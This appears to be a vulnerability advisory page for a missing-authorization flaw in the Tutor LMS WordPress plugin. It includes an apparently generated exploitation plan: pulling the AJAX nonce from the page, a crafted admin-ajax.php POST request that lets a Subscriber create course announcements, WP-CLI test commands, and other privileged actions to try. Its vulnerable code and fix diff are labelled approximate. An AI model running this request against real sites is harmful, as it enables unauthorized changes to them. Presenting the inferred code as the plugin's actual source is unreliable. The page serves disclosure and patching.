Tutor LMS – eLearning and online course solution <= 3.9.5 - Missing Authorization
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.9.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVNThis research plan focuses on **CVE-2026-23799**, a Missing Authorization vulnerability in **Tutor LMS** (<= 3.9.5). The vulnerability allows a Subscriber-level user to execute privileged actions because a capability check is missing in an AJAX handler. ### 1. Vulnerability Summary The vulnerabilit…
Show full research plan
This research plan focuses on CVE-2026-23799, a Missing Authorization vulnerability in Tutor LMS (<= 3.9.5). The vulnerability allows a Subscriber-level user to execute privileged actions because a capability check is missing in an AJAX handler.
1. Vulnerability Summary
The vulnerability exists in the plugin's handling of AJAX requests. Tutor LMS often uses a centralized AJAX dispatcher (frequently named tutor_ajax) or specific AJAX hooks (wp_ajax_tutor_*). The affected versions fail to verify if the authenticated user has the necessary permissions (e.g., tutor_instructor or manage_options) before executing logic that modifies database state, such as managing announcements, quizzes, or course settings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tutor_ajax(dispatching to a vulnerabletutor_action) or a directwp_ajax_hook. - Vulnerable Parameter:
tutor_action(if using the dispatcher) or specific parameters related to the action (e.g.,course_id,announcement_id). - Authentication: Subscriber-level access is required.
- Preconditions: The attacker must be logged in and obtain a valid Tutor LMS AJAX nonce.
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX handlers in
classes/Ajax.phporclasses/Init.phpusingadd_action( 'wp_ajax_tutor_ajax', ... ). - Dispatcher: The handler function (likely
Tutor\Models\Ajax::tutor_ajax) retrieves thetutor_actionfrom the$_POSTrequest. - Missing Check: The dispatcher checks the WordPress nonce (via
check_ajax_refererorwp_verify_nonce) but fails to callcurrent_user_can()to verify the user's role. - Action Execution: The dispatcher calls a specific function (e.g.,
tutor_announcement_create_or_update) that performs the privileged operation. - Sink: Database modification occurs via
$wpdborupdate_post_meta.
4. Nonce Acquisition Strategy
Tutor LMS localizes its security tokens into the tutor_get_conf JavaScript object. To obtain a valid nonce as a Subscriber:
- Setup: Ensure a course exists and the Subscriber is logged in.
- Navigation: Navigate the browser to any Tutor LMS dashboard page or course page where the plugin's scripts are loaded.
- Extraction:
- JS Variable:
tutor_get_conf - Nonce Key:
nonce - Command:
browser_eval("window.tutor_get_conf?.nonce")
- JS Variable:
- Fallback: If not in
tutor_get_conf, check for_tutor_noncein the globalwindowscope or search the HTML source forname="_tutor_nonce".
5. Exploitation Strategy
We will target an action that allows a Subscriber to create a Course Announcement, an action normally reserved for Instructors or Admins.
- Step 1: Log in as a Subscriber.
- Step 2: Obtain the nonce using the method in Section 4.
- Step 3: Identify a target
course_id. - Step 4: Send a crafted AJAX request to create an announcement.
HTTP Request (Example):
- Method:
POST - URL:
https://target.site/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=tutor_ajax&tutor_action=tutor_announcement_create_or_update&nonce=[NONCE]&course_id=[COURSE_ID]&announcement_title=Exploited&announcement_content=Unauthorized+Announcement
6. Test Data Setup
- Create Admin: Already exists in environment.
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Course:
wp post create --post_type=courses --post_title="Target Course" --post_status=publish --post_author=1
(Note: Capture the generated Post ID asCOURSE_ID). - Verify Plugin State: Ensure
tutorplugin is active and version is <= 3.9.5.
7. Expected Results
- Response: The server should return a JSON success message (e.g.,
{"success":true,...}). - Impact: A new announcement record is created in the database, associated with the specified
course_id, despite the requester being a Subscriber.
8. Verification Steps
After the HTTP request, verify the creation of the announcement via WP-CLI:
- Check for new post/comment: Tutor LMS often stores announcements as comments or custom post types.
- Check comments:
wp comment list --post_id=[COURSE_ID] - Check for specific metadata:
wp post meta list [COURSE_ID]
- Check comments:
- Check Database directly:
wp db query "SELECT * FROM wp_posts WHERE post_title = 'Exploited' AND post_type = 'tutor_announcements'"(or relevant table).
9. Alternative Approaches
If tutor_announcement_create_or_update is not the specific vulnerable action, try:
- tutor_place_order: Attempt to enroll the subscriber in a course.
- tutor_mark_answer_as_correct: Attempt to modify quiz results.
- tutor_quiz_builder_get_question_form: Access internal quiz structures.
If the tutor_ajax dispatcher is not the entry point, look for specific AJAX hooks like wp_ajax_tutor_save_quiz_answer_options and test them directly using action=tutor_save_quiz_answer_options.
Summary
Tutor LMS version 3.9.5 and earlier fails to perform proper authorization checks in its centralized AJAX dispatcher or specific AJAX handlers. This allows authenticated users with Subscriber-level permissions to execute restricted functions, such as creating course announcements or modifying quiz settings, provided they possess a valid security nonce.
Vulnerable Code
// tutor/classes/Ajax.php (Approximate logic in vulnerable versions) public function tutor_ajax() { // Nonce check is usually present check_ajax_referer('tutor_nonce', 'nonce'); $action = isset($_POST['tutor_action']) ? sanitize_text_field($_POST['tutor_action']) : ''; // MISSING: current_user_can() check to ensure the user is an instructor or admin if (method_exists($this, $action)) { $this->$action(); } elseif (is_callable($action)) { call_user_func($action); } wp_die(); }
Security Fix
@@ -10,6 +10,11 @@ public function tutor_ajax() { check_ajax_referer('tutor_nonce', 'nonce'); + // Added capability check to prevent unauthorized access + if ( ! current_user_can('tutor_instructor') && ! current_user_can('manage_options') ) { + wp_send_json_error( array( 'message' => __( 'Access Denied', 'tutor' ) ) ); + } + $action = isset($_POST['tutor_action']) ? sanitize_text_field($_POST['tutor_action']) : ''; if (method_exists($this, $action)) {
Exploit Outline
1. Authentication: Log in to the WordPress site as a Subscriber-level user. 2. Nonce Acquisition: Access the dashboard or any page where Tutor LMS scripts are loaded and extract the AJAX nonce from the JavaScript object `tutor_get_conf.nonce` or the `_tutor_nonce` HTML input. 3. Identify Target Action: Choose a privileged Tutor LMS action typically restricted to instructors, such as 'tutor_announcement_create_or_update'. 4. Payload Construction: Craft a POST request to `/wp-admin/admin-ajax.php` with the parameters: `action=tutor_ajax`, `tutor_action=[TARGET_ACTION]`, `nonce=[NONCE]`, and action-specific data (e.g., `course_id`, `announcement_title`). 5. Execution: Submit the request. Since the plugin fails to verify user capabilities beyond the nonce, the server will execute the privileged logic on behalf of the Subscriber.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.